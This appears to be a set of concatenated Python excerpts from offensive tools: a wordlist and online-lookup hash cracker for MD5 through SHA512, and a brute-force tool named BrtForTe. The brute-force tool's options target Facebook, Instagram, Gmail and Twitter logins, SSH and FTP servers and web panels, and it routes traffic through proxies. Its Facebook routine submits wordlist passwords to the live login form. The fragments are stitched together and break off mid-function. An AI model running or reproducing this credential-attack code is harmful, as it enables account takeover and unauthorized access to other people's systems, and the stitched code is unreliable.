def main(): parse.add_option("-H", "--HASH", dest="hash", type="string", help="\nHASH please !\n") parse.add_option("-W", "-w", '--WORDLIST', "--wordlist", dest="wordlist", type="string", help="\nWordlist File Please!\n") parse.add_option("-T", "-t", "--text", '--TEXT', dest="dtext", type="string", help="Enter Some Text To Encodeing To Your Hash\n") parse.add_option("--on", '--ON', '--On', '--online', '--ONLINE', action="store_true", dest="ONC", default=False) parse.add_option('-f', '-F', '--file', '--FILE', dest='Cfile', type='string', help="Enter Hashes File") parse.add_option("-O", "-o", "--output", '--OUTPUT', dest="outfile", type="string", help="\nFile Name Please !\n") parse.add_option("-v", "-V", action="store_true", dest="ShowVERSION", default=False, help="\nSHOW TOOL VERSION AND EXIT :)\n") parse.add_option("-e", "-E", "--examples", '--EXAMPLES', action="store_true", dest="ShowEXAMPLES", default=False, help="\nSHOW TOOL EXAMPLES\n") (options, args) = parse.parse_args() #=-=-=-=-=-=-=-=-=-=-=-=-=- START =-=-=-=-=-=-=-=-=-=-=-=-=-:) if options.ShowVERSION: print(ver) exit(1) elif options.ShowEXAMPLES: system("cls||clear") examples() exit(1) def checkoutfile(): try: if options.outfile != None: return True except: pass return False checkfile = checkoutfile() if options.hash != None and options.wordlist != None: hash = options.hash wl = options.wordlist try: file = open(wl, "r") except IOError: print(cor[3] + "\n[!] Error:" + cor[5] + " No Such File[ " + cor[4] + wl + cor[5] + " ]" + cor[5] + " !!!") exit(1) if len(hash) == 32: #MD5 name = "MD5" elif len(hash) == 40: #SHA1 name = "SHA1" elif len(hash) == 56: #SHA224 name = "SHA224" elif len(hash) == 64: #SHA256 name = "SHA256" elif len(hash) == 96: #SHA384 name = "SHA384" elif len(hash) == 128: #SHA512 name = "SHA512" else: errorhash() exit(1) loop = 1 try: system("cls||clear") banner() print( colors + "\n[+>]<====================> CONFIG <====================>[<+]\n" + cor[5]) print( "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m HASH NAME :> [ \033[1;32m" + colors + name) print( "\033[1;32m[\033[1;37m+\033[1;32m]\033[1;37m HASH :> [ \033[1;32m" + hash[:30] + "\033[1;33m-...") print( "\033[1;32m[\033[1;37m>\033[1;32m]\033[1;37m Wordlist :> [ \033[1;32m" + wl) sleep(1.2) print(cor[2] + "\n[*]" + cor[5] + " Brute Forcing: " + cor[2] + "Enable" + cor[5] + "...\n") sleep(1.7) lines = 0 for passwd in file: if not passwd.strip(): continue passwd = passwd.strip() if len(hash) == 32: #MD5 hashcat = hashlib.md5(passwd).hexdigest() elif len(hash) == 40: #SHA1 hashcat = hashlib.sha1(passwd).hexdigest() elif len(hash) == 56: #SHA224 hashcat = hashlib.sha224(passwd).hexdigest() elif len(hash) == 64: #SHA256 hashcat = hashlib.sha256(passwd).hexdigest() elif len(hash) == 96: #SHA384 hashcat = hashlib.sha384(passwd).hexdigest() elif len(hash) == 128: #SHA512 hashcat = hashlib.sha512(passwd).hexdigest() else: errorhash() break # START BRUTE-FORCE ATTACK:... if hash == hashcat: if checkfile == True: outfile = options.outfile if outfile[-4:] != ".txt": outfile = outfile + ".txt" file = open(outfile, "w") file.write( "\n[+]:HASH CRACK!:\n[*]:INFO:\n----------\n[*]:HASH Name:[ " + name + " ]\n[+]:HASH:[ " + hash + " ]\n\n[#>]:HASH CAT:[ " + passwd.strip() + " ]\n") print( cor[1] + "\n[+]" + cor[4] + ":" + cor[2] + "HASH CRACKER: AND The INFO Save In [ " + cor[4] + outfile + cor[2] + " ] output file :)\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mCheck Out\033[1;32m :)" ) file.close() break else: print(cor[2] + "[+]" + cor[5] + " Trying Password" + cor[5] + "[" + cor[2] + str(loop) + cor[5] + "] : " + cor[2] + str(passwd) + cor[5] + " ===>" + cor[2] + " YES") print(cor[1] + "\n[+]" + cor[4] + ":" + cor[2] + "HASH CRACK!:\n" + cor[1] + "[*]" + cor[4] + ":" + cor[2] + "INFO:" + cor[5] + "\n----------" + cor[1] + "\n[*]" + cor[4] + ":" + cor[2] + "HASH Name:[ " + cor[4] + name + cor[2] + " ] " + cor[1] + "\n[+]" + cor[4] + ":" + cor[2] + "HASH:[ " + cor[4] + hash + cor[2] + " ]" + cor[1] + "\n\n[#>]" + cor[4] + ":" + cor[2] + "HASH CAT:[ " + cor[4] + passwd.strip() + cor[2] + " ]\n") break else: print(cor[3] + "[-] Trying Password" + cor[5] + "[" + cor[4] + str(loop) + cor[5] + "] : " + cor[0] + str(passwd) + cor[3] + " ===>" + cor[4] + " NO") loop += 1 lines += 1 else: print(cor[4] + "\n[-]:" + cor[3] + "I WAS TRY [" + cor[4] + str(lines) + cor[3] + "] " + cor[3] + "Passowrd From [ " + cor[4] + wl + cor[3] + " ] Wordlist") print(cor[4] + "[x!]" + cor[3] + ":PASSWORD NOT FOUND IN:[ " + cor[4] + wl + cor[3] + " ] Wordlist\n" + cor[2] + "[*]" + cor[4] + ":" + cor[3] + "Try Online Cracker Options Or try Other Wordlist :) ") exit(1) except KeyboardInterrupt: print(cor[3] + "\n[!]:" + cor[4] + "Stoping Attack.....") sleep(2) print("Bye :)") exit(1) elif options.Cfile != None and options.wordlist != None: hashfile = options.Cfile wordlist = options.wordlist try: hop = open(hashfile, "r") hop.close() except IOError: print(cor[4] + "[" + cor[3] + "!" + cor[4] + "]" + cor[3] + " No such file or directory: " + cor[5] + hashfile + cor[4] + " !!!") exit(1) try: wop = open(wordlist, "r") wop.close() except IOError: print(cor[4] + "[" + cor[3] + "!" + cor[4] + "]" + cor[3] + " No such file or directory: " + cor[5] + wordfile + cor[4] + " !!!") exit(1) loop = 1 system("cls||clear") banner() print( colors + "\n[+>]<====================> CONFIG <====================>[<+]\n" + cor[5]) print( "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m HASH FILE :> [ \033[1;32m" + hashfile) print( "\033[1;32m[\033[1;37m>\033[1;32m]\033[1;37m Wordlist :> [ \033[1;32m" + wordlist) sleep(1.2) print(cor[2] + "\n[*]" + cor[5] + " Brute Forcing: " + cor[2] + "Enable" + cor[5] + "...\n") sleep(1.7) s = 0 with open(hashfile) as hop: for H in hop: if not H.strip(): continue H = H.strip() if len(H) not in [32, 40, 56, 64, 96, 128]: continue print("\n[*] Cracking [{}]...".format(H)) with open(wordlist) as wop: for P in wop: if not P.strip(): continue P = P.strip() if len(H) == 32: #MD5 name = "MD5" hashcat = hashlib.md5(P).hexdigest() elif len(H) == 40: #SHA1 name = "SHA1" hashcat = hashlib.sha1(P).hexdigest() elif len(H) == 56: #SHA224 name = "SHA224" hashcat = hashlib.sha224(P).hexdigest() elif len(H) == 64: #SHA256 name = "SHA256" hashcat = hashlib.sha256(P).hexdigest() elif len(H) == 96: #SHA384 name = "SHA384" hashcat = hashlib.sha384(P).hexdigest() elif len(H) == 128: #SHA512 name = "SHA512" hashcat = hashlib.sha512(P).hexdigest() if hashcat == H: s += 1 print( " [+] HASH CRACK [+]\n --------------\n [N] HASH-NAME:>[ {}\n [H] HASH :>[ {}\n [P] HASH CAT :>[ {}\n" .format(name, H, P)) if s == 0: print(" [!] Password Not Found In Wordlist[{}] !!!". format(wordlist)) s = 0 print("=============================") elif options.hash != None and options.dtext != None: HASH = options.hash text = options.dtext HASHES = [ "md5", "MD5", "sha1", "SHA1", "sha224", "SHA224", "sha256", "SHA256", "sha384", "SHA384", "sha512", "SHA512" ] if HASH in HASHES: sleep(0.10) banner() print( colors + "\n[+>]<====================> CONFIG <====================>[<+]\n" + cor[5]) sleep(0.10) print("[*]:HASH NAME : " + colors + HASH + cor[5]) sleep(0.10) print("[*]:Text : " + colors + text + cor[5]) sleep(0.10) print(cor[3] + "\n[*]\033[1;33m Hashing....[" + cor[4] + text + "\033[1;33m]\n") sleep(2.1) if HASH == "md5" or HASH == "MD5": hashte = hashlib.md5(text).hexdigest() elif HASH == "sha1" or HASH == "SHA1": hashte = hashlib.sha1(text).hexdigest() elif HASH == "sha224" or HASH == "SHA224": hashte = hashlib.sha224(text).hexdigest() elif HASH == "sha256" or HASH == "SHA256": hashte = hashlib.sha256(text).hexdigest() elif HASH == "sha384" or HASH == "SHA384": hashte = hashlib.sha384(text).hexdigest() elif HASH == "sha512" or HASH == "SHA512": hashte = hashlib.sha512(text).hexdigest() if checkfile == True: outfile = options.outfile if outfile[-4:] != ".txt": outfile = outfile + ".txt" file = open(outfile, "w") file.write( "\n[*] ======== [{}]HASH Result========[*]\n |\n[T] Your Plain Text :> [ {} \n[H] Hash Name Type :> [ {} \n[E] {}-HASH.[ {} ] :> [ {} \n |\n[*]===================================[*]\n" .format(HASH.upper(), text, copy(HASH.upper()), copy(HASH.upper()), copy(text), hashte)) print( "\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mYour Hashing Result Is Saved In :[\033[1;32m {}\033[1;37m ]\033[1;33m Output File. \n\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Check Out \033[1;32m:)" .format(outfile)) file.close() else: print( "\033[1;33m[T]\033[1;35m Plain TEXT\033[1;32m=[\033[1;34m {}\033[1;32m ] \033[1;33m\n[H] \033[1;36m{}\033[1;32m-hash\033[1;35m===[ \033[1;31m{}\033[1;35m ]\n" .format(text, HASH.upper(), hashte)) else: errorhash() exit(1) elif options.hash != None and options.ONC: try: import requests except ImportError: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;32m Requests \033[1;37mLibrary\033[1;33m ] Is Not Exist \033[1;31m!!!" ) print( "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Please Install It Using This \033[1;33mCommand: \033[1;37mpip install requests" ) exit(1) try: from Core.api import hcat except ImportError: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;37m Core/api.py \033[1;33m] File Is Missing \033[1;31m !!!" ) exit(1) stop = 0 try: H = options.hash HASHES = [32, 40, 56, 64, 96, 128] if len(H) not in HASHES: errorhash() exit(1) def check(): try: ip = socket.gethostbyname('google.com') con = socket.create_connection((ip, 80), 2) return True except: pass return False if check() != True: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Please Check Your Internet Connection \033[1;31m!!!" ) exit(1) if len(H) == HASHES[0]: name = "MD5" elif len(H) == HASHES[1]: name = "SHA1" elif len(H) == HASHES[2]: name = "SHA224" elif len(H) == HASHES[3]: name = "SHA256" elif len(H) == HASHES[4]: name = "SHA384" elif len(H) == HASHES[5]: name = "SHA512" banner() print("\033[1;37m .::: \033[1;33mOnline Cracking \033[1;37m:::.") print( "\n\033[1;37m[\033[1;32m>\033[1;37m] HASH :> [\033[1;32m " + H[:30] + "\033[1;33m-...") print( "\033[1;37m[\033[1;32m+\033[1;37m] HashName :> [\033[1;32m " + name.upper()) print(cor[2] + "\n[*]" + cor[5] + " Brute Forcing: " + cor[2] + "Enable" + cor[5] + "...\n") sleep(0.60) print( "\033[1;32m[\033[1;33m~\033[1;32m] \033[1;33mChecking \033[1;32m6 \033[1;33mWebsites Databases..." ) cracked = hcat.leakz(H) db = 'leakz' if cracked == False: cracked = hcat.hashtoolkit(H) db = 'hashtoolkit' if cracked == False: cracked = hcat.md5decrypt(H) db = 'md5decrypt' if cracked == False: cracked = hcat.nitrxgen(H) db = 'nitrxgen' if cracked == False: cracked = hcat.myaddr(H) db = 'myaddr' if cracked == False: cracked = hcat.gromweb(H) db = 'gromweb' if cracked != False: if checkfile == True: outfile = options.outfile if outfile[-4:] != ".txt": outfile = outfile + ".txt" fop = open(outfile, 'w') fop.write('\n[*] HASH CAT :> ' + str(cracked) + "\n") fop.close() print( "\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mYour Hash Online Crack Result Is Saved In :[\033[1;32m {}\033[1;37m ]\033[1;33m Output File. \n\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Check Out \033[1;32m:)" .format(outfile)) else: print( '\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mCracked By [ \033[1;32m{}\033[1;37m ] Database' .format(db)) print( "\033[1;33m====================" + '=' * len(db) + "==\n \033[1;37m[\033[1;32m~\033[1;37m] HASH CAT :> [\033[1;32m " + str(cracked)) else: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mLeakz\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mHashtoolkit\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mMD5decrypt\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mNitrxgen\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mMyaddr\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mGromweb\033[1;33m ] Database" ) print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Online Cracking Failed \033[1;31m !!!\n\033[1;37m[\033[1;32m*\033[1;37m] Try Brute Force Attack With Wordlist :)" ) except Exception, e: print("\n[!] Error:" + str(e.message)) exit(1)
def main(): parse.add_option("-H", "--HASH", dest="hash", type="string", help="\nHASH please !\n") parse.add_option("-W", "-w", "--wordlist", dest="wordlist", type="string", help="\nWordlist File Please!\n") parse.add_option("-T", "-t", "--text", dest="dtext", type="string", help="Enter Some Text To Encodeing To Your Hash\n") parse.add_option("--on", '--ON', action="store_true", dest="ONC", default=False) parse.add_option("-O", "-o", "--output", dest="outfile", type="string", help="\nFile Name Please !\n") parse.add_option("-v", "-V", action="store_true", dest="ShowVERSION", default=False, help="\nSHOW TOOL VERSION AND EXIT :)\n") parse.add_option("-e", "-E", "--examples", action="store_true", dest="ShowEXAMPLES", default=False, help="\nSHOW TOOL EXAMPLES\n") (options, args) = parse.parse_args() #=-=-=-=-=-=-=-=-=-=-=-=-=- START =-=-=-=-=-=-=-=-=-=-=-=-=-:) if options.ShowVERSION: print(ver) exit() elif options.ShowEXAMPLES: examples() exit() def checkoutfile(): try: if options.outfile != None: return True except: pass return False check = checkoutfile() if options.hash != None and options.wordlist != None: hash = options.hash wl = options.wordlist try: file = open(wl, "r") except: print(cor[3] + "\n[!]:The [> " + cor[1] + wl + cor[3] + " <] File Not Found!") exit() file = open(wl, "r") file2 = file.readlines() if len(hash) == 32: #MD5 name = "MD5" elif len(hash) == 40: #SHA1 name = "SHA1" elif len(hash) == 56: #SHA224 name = "SHA224" elif len(hash) == 64: #SHA256 name = "SHA256" elif len(hash) == 96: #SHA384 name = "SHA384" elif len(hash) == 128: #SHA512 name = "SHA512" else: errorhash() exit() loop = 1 lens = len(file2) try: banner() print( colors + "\n[+>]<====================> CONFIG <====================>[<+]\n" + cor[5]) print("[*]:HASH NAME : " + colors + name + cor[5]) print("[+]:HASH : " + hash[:30] + ".....") print("[+]:Wordlist : " + wl) print("[+]:Words Loaded : " + str(lens)) sleep(1.2) print(cor[2] + "\n[*]:" + cor[1] + "Trying[" + cor[4] + str(lens) + cor[1] + "] Password From Wordlist File....") sleep(3.5) for passwd in file2: if len(hash) == 32: #MD5 hashcat = hashlib.md5(passwd.strip()).hexdigest() elif len(hash) == 40: #SHA1 hashcat = hashlib.sha1(passwd.strip()).hexdigest() elif len(hash) == 56: #SHA224 hashcat = hashlib.sha224(passwd.strip()).hexdigest() elif len(hash) == 64: #SHA256 hashcat = hashlib.sha256(passwd.strip()).hexdigest() elif len(hash) == 96: #SHA384 hashcat = hashlib.sha384(passwd.strip()).hexdigest() elif len(hash) == 128: #SHA512 hashcat = hashlib.sha512(passwd.strip()).hexdigest() else: errorhash() break # START BRUTE-FORCE ATTACK:... if hash == hashcat: if check == True: outfile = options.outfile file = open(outfile, "w") file.write( "\n[+]:HASH CRACK!:\n[*]:INFO:\n----------\n[*]:HASH Name:[ " + name + " ]\n[+]:HASH:[ " + hash + " ]\n\n[#>]:HASH CAT:[ " + passwd.strip() + " ]\n") print(cor[1] + "\n[+]" + cor[4] + ":" + cor[2] + "HASH CRACKER: AND The INFO Save In [ " + cor[4] + outfile + cor[2] + " ] output file :)") break else: print(cor[1] + "\n[+]" + cor[4] + ":" + cor[2] + "HASH CRACK!:\n" + cor[1] + "[*]" + cor[4] + ":" + cor[2] + "INFO:" + cor[5] + "\n----------" + cor[1] + "\n[*]" + cor[4] + ":" + cor[2] + "HASH Name:[ " + cor[4] + name + cor[2] + " ] " + cor[1] + "\n[+]" + cor[4] + ":" + cor[2] + "HASH:[ " + cor[4] + hash + cor[2] + " ]" + cor[1] + "\n\n[#>]" + cor[4] + ":" + cor[2] + "HASH CAT:[ " + cor[4] + passwd.strip() + cor[2] + " ]\n") break else: print(cor[3] + "\n[!]:Trying Password" + cor[5] + "[" + cor[4] + str(loop) + cor[5] + "] : " + cor[0] + str(passwd)) loop += 1 else: print(cor[4] + "\n[-]:" + cor[3] + "I WAS TRY [" + cor[4] + str(lens) + cor[3] + "] " + cor[3] + "Passowrd From [ " + cor[4] + wl + cor[3] + " ] Wordlist") print(cor[4] + "[x!]" + cor[3] + ":PASSWORD NOT FOUND IN:[ " + cor[4] + wl + cor[3] + " ] Wordlist\n" + cor[2] + "[*]" + cor[4] + ":" + cor[3] + "Try Online Cracker Options Or try Other Wordlist :) ") exit() except KeyboardInterrupt: print(cor[3] + "\n[!]:" + cor[4] + "Stoping Attack.....") sleep(2) print("Bye :)") exit() elif options.hash != None and options.dtext != None: HASH = options.hash text = options.dtext HASHES = [ "md5", "MD5", "sha1", "SHA1", "sha224", "SHA224", "sha256", "SHA256", "sha384", "SHA384", "sha512", "SHA512" ] if HASH in HASHES: sleep(0.10) print( colors + "\n[+>]<====================> CONFIG <====================>[<+]\n" + cor[5]) sleep(0.10) print("[*]:HASH NAME : " + colors + HASH + cor[5]) sleep(0.10) print("[*]:Text : " + colors + text + cor[5]) sleep(0.10) print(cor[3] + "\n[*]\033[1;33m Hashing......[" + cor[4] + text + "\033[1;33m]") sleep(2.1) if HASH == "md5" or HASH == "MD5": hashte = hashlib.md5(text).hexdigest() elif HASH == "sha1" or HASH == "SHA1": hashte = hashlib.sha1(text).hexdigest() elif HASH == "sha224" or HASH == "SHA224": hashte = hashlib.sha224(text).hexdigest() elif HASH == "sha256" or HASH == "SHA256": hashte = hashlib.sha256(text).hexdigest() elif HASH == "sha384" or HASH == "SHA384": hashte = hashlib.sha384(text).hexdigest() elif HASH == "sha512" or HASH == "SHA512": hashte = hashlib.sha512(text).hexdigest() print( "\033[1;33m[T]\033[1;35m TEXT\033[1;32m=[ \033[1;34m {}\033[1;32m ] \033[1;33m[H] \033[1;36m{}\033[1;32mhash\033[1;35m=[ \033[1;31m{}\033[1;35m ]" .format(text, HASH, hashte)) else: errorhash() exit(1) elif options.hash != None and options.ONC: try: import requests except: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;32m Requests \033[1;37mLibrary\033[1;33m ] Is Not Exist \033[1;31m!!!" ) print( "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Please Install It Using This \033[1;33mCommand: \033[1;37mpip install requests" ) exit(1) try: import json except: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;32m Json \033[1;37mLibrary\033[1;33m ] Is Not Exist \033[1;31m!!!" ) print( "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Please Install It Using This \033[1;33mCommand: \033[1;37mpip install simplejson" ) exit(1) test = 0 try: H = options.hash HASHES = [32, 40, 56, 64, 96, 128] if len(H) not in HASHES: errorhash() test = test + 1 def check(): try: ip = socket.gethostbyname('google.com') con = socket.create_connection((ip, 80), 2) return True except: pass return False if check() != True: print( "\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Please Check Your Internet Connection \033[1;31m!!!" ) exit(1) url = "http://hashtoolkit.com/reverse-hash?hash=" + H con = requests.get(url) content = con.content cracked = re.findall( "<span title=\"decrypted (md5|sha1|sha224|sha256|sha384|sha512) hash\">(.*)</span>", content) hashname = cracked[0][0] banner() print( "\033[1;37m.::: \033[1;33mOnline Cracking Result \033[1;37m:::." ) print("\n\033[1;37m[\033[1;32m>\033[1;37m] HASH :\033[1;32m " + H) print("\033[1;37m[\033[1;32m+\033[1;37m] HashName :\033[1;32m " + hashname) print("\n\033[1;37m[\033[1;32m~\033[1;37m] Hash CAT :\033[1;32m " + cracked[0][1]) except: if test == 1: exit(1) H = options.hash def check(): try: ip = socket.gethostbyname('google.com') con = socket.create_connection((ip, 80), 2) return True except: pass return False if check() != True: print( "\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Please Check Your Internet Connection \033[1;31m!!!" ) exit(1) if len(H) == HASHES[0]: name = "MD5" elif len(H) == HASHES[1]: name = "SHA1" elif len(H) == HASHES[2]: name = "SHA224" elif len(H) == HASHES[3]: name = "SHA256" elif len(H) == HASHES[4]: name = "SHA384" elif len(H) == HASHES[5]: name = "SHA512" banner() print( "\033[1;37m .::: \033[1;33mOnline Cracking Result \033[1;37m:::." ) print("\n\033[1;37m[\033[1;32m>\033[1;37m] HASH :\033[1;32m " + H) print("\033[1;37m[\033[1;32m+\033[1;37m] HashName :\033[1;32m " + name) try: print( "\n\033[1;37m[\033[1;32m~\033[1;37m] Hash CAT :\033[1;32m " + onc(H)) except: print( "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Cracking Failed \033[1;31m !!!\n\033[1;37m[\033[1;32m*\033[1;37m] Try Brute Force Attack With Wordlist :)" ) else: print(parse.usage) exit(1)
return hash_sha384.hexdigest() elif hashname == "sha512" or hashname == "SHA512": hash_sha512 = hashlib.sha512() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_sha512.update(chunk) return hash_sha512.hexdigest() except: print("\n" + cor[2] + "[" + cor[0] + "!" + cor[2] + "] Something Went Wrong " + cor[0] + "!!!") exit(1) else: errorhash() exit(1) banner() sleep(0.10) print("\n" + cor[2] + "[" + cor[0] + "*" + cor[2] + "]" + cor[4] + " Hash: " + cor[1] + hashname) sleep(0.10) print(cor[2] + "[" + cor[0] + "*" + cor[2] + "]" + cor[4] + " File: " + cor[1] + fname) sleep(0.10) print("\n" + cor[1] + "[" + cor[2] + "*" + cor[1] + "] " + cor[1] + hashname + cor[0] + "sum: " + cor[5] + HASHme(fname, hashname)) else: print(parse.usage) exit(1) if __name__ == '__main__':
def Main(): ######################################[1] Emails Brute Force Options ###################################### grEmails = optparse.OptionGroup(parse,"EMAILS OPTIONS", "BRUTE FORCE ATTACK ON ALL EMAILS!") #Facebook: grEmails.add_option("-F","--facebook",dest="facebookT",type="string") grEmails.add_option("-W","--Fwordlist",dest="facebookW",type="string") #Instagram: grEmails.add_option("-I","--instagram",dest="instagramT",type="string") grEmails.add_option("-L","--Iwordlist",dest="instagramW",type="string") #Gmail: grEmails.add_option("-G","--gmail",dest="gmailT",type="string") grEmails.add_option("-A","--Gwordlist",dest="gmailW",type="string") #Twitter: grEmails.add_option("-T","--twitter",dest="twitterT",type="string") grEmails.add_option("-C","--Twordlist",dest="twitterW",type="string") #Use Random proxy with Emails brute Froce grEmails.add_option("-p","--use-proxy",action='store_true',dest="proxy",default=False) ######################################[2] SERVER Brute Force Options ###################################### grServer = optparse.OptionGroup(parse,"\nSERVER OPTION", "BRUTE FORCE ATTACK ON SERVER!") #SSH SERVER: grServer.add_option("-S","--SHserver",dest="sshT",type="string") grServer.add_option("-U","--SHuser",dest="sshU",type="string") grServer.add_option("-D","--SHwordlist",dest="sshW",type="string") #FTP SERVER: grServer.add_option("-f","--FTserver",dest="ftpT",type="string") grServer.add_option("-E","--FTuser",dest="ftpU",type="string") grServer.add_option("-K","--FTwordlist",dest="ftpW",type="string") ######################################[3] Hash Brute Force Options ###################################### grHash = optparse.OptionGroup(parse,"\nHASH OPTIONS", "Brute Force Attack On Hash") #ALL HASH: grHash.add_option("-M","--hash",dest="anyhash",type="string") grHash.add_option("-m","--wordlist",dest="wl",type="string") ######################################[4] WEB Brute Force Options ##################################### grWeb = optparse.OptionGroup(parse,"\nWEB OPTIONS", "Brute Force Attack On Web") # Finder CP: grWeb.add_option("-N","--website",dest="website",type="string") grWeb.add_option("-n","--Links",dest="links",type="string") grWeb.add_option("-a","--proxy",action='store_true',dest="proxyweb",default=False) ###################################### Other Options You Can Use ###################################### grOther = optparse.OptionGroup(parse,"\nOTHER OPTIONS", "OTHER OPTION YOU CAN USE") #ShowVersion: grOther.add_option("-v",action='store_true',dest="ShowVersion",default=False) #Update Tool: grOther.add_option("-u","--update",action='store_true',dest="update",default=False) #ShowExaplesTool: grOther.add_option("-e","--examples",action='store_true',dest="examples",default=False) parse.add_option_group(grEmails) parse.add_option_group(grServer) parse.add_option_group(grHash) parse.add_option_group(grWeb) parse.add_option_group(grOther) (options,args) = parse.parse_args() def checklinks(): try: if options.links !=None: return True except: pass return False uselinks = checklinks() def checkproxy(): try: if options.proxy: return True except: pass return False proxys = checkproxy() def checkproxyWithWebSection(): try: if options.proxyweb: return True except: pass return False webproxy = checkproxyWithWebSection() if options.ShowVersion: print(ver) exit() elif options.examples: examples() elif options.update: global check1 if check1 == True: def update(): updater = subprocess.check_output("git pull origin master", shell=True) if "Already up-to-date." in updater: return 1 elif "error" or "Error" in updater: return -1 else: return 0 toollink = "https://github.com/Oseid/BrtForTe" print("\n[*]:Update in progress.....") time.sleep(2) if update() == 1: print(cor[2]+"\n[*]:"+cor[4]+"[BrtForTe]"+cor[5]+" is Already up-to-date.") exit() elif update() == -1: print(cor[3]+"\n[!]:"+cor[4]+"[BrtForTe]"+cor[5]+" experienced an error while updating, please download manually from:"+cor[2]+" [ {} ]".format(toolink)) exit() elif update() == 0: print(cor[2]+"\n[*]:"+cor[4]+"[BrtForTe]"+cor[5]+" has successfully updated to the latest version.") exit() else: pass exit() elif check1 == False: msgerrorconnect() #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #################################################### [1] SECTION BRUTFORCE EMAILS START ############################################################### #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #############################################################(1)FACEBOOK BRTFOR FUNCTION ############################################################## #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: elif options.facebookT !=None and options.facebookW !=None: user = options.facebookT passw = options.facebookW global check2 if check2 == True: try: passwfile = open(passw, "r") except: errorfile(passw) if proxys == True: prostatus = cor[2]+"ON"+cor[5] prox = proxy1 else: prostatus = cor[4]+"OFF"+cor[5] prox = "" banner() time.sleep(1.5) print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5]) print("[#]:Time : [ "+str(timenow)+" ]") print("[*]:Website : [ www.facebook.com ]") print("[+]:Target Email : [ "+str(user)+" ]") print("[+]:Wordlist : [ "+str(passw)+" ]") print("[@]:Proxy status : [ "+prox+" ["+prostatus+"]") print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") time.sleep(1.5) print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n") lo = 1 for password in passwfile: try: br1=mechanize.Browser() br1.set_handle_robots(False) br1.set_cookiejar(cookielib.LWPCookieJar()) br1.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) if proxys == True: br1.set_proxies({'http':prox}) else: pass global useuser br1.addheaders =[("User-agent", useuser)] op=br1.open("https://facebook.com") dos1=open("Facebook-Log.txt","w+") try: br1.select_form(nr=0) except: serverblock("[ www.facebook.com ]") os.system("rm Facebook-Log.txt") br1.form["email"]=user br1.form["pass"]=password br1.method="POST" br1.submit() dos1.write(br1.open("https://facebook.com").read()) dos1.seek(0) text=dos1.read().decode("UTF-8") if(text.find("home_icon",0,len(text))!=-1): print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password)) time.sleep(0.60) os.system("rm Facebook-Log.txt") exit() else: print(cor[3] + '[!]:Trying Password[%s] : '%(lo) +cor[0]+ str(password) + "\n") lo +=1 except KeyboardInterrupt: os.system("rm Facebook-Log.txt") exceptkey() else: os.system("rm Facebook-Log.txt") passnotfound(passw) elif check2 == False: msgerrorconnect() #::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ########################################################## END FACEBOOK FUNCTION ##################################################################### #######################################################(2)INSTAGRAM BRTFOR FUNCTION ################################################################### #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: elif options.instagramT !=None and options.instagramW !=None: global check3 if check3 == True: username = options.instagramT pwd_file = options.instagramW try: passw = open(pwd_file, "r") passwords = passw.readlines() except: errorfile(pwd_file) if proxys == True: prostatus = cor[2]+"ON"+cor[5] prox = proxy2 else: prostatus = cor[4]+"OFF"+cor[5] prox = "" banner() time.sleep(1.5) print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5]) print("[#]:Time : [ "+str(timenow)+" ]") print("[*]:Website : [ www.instagram.com ]") print("[+]:Target User : [ "+str(username)+" ]") print("[+]:Wordlist : [ "+str(pwd_file)+" ]") print("[@]:Proxy status : [ "+prox+ "["+prostatus+"]") 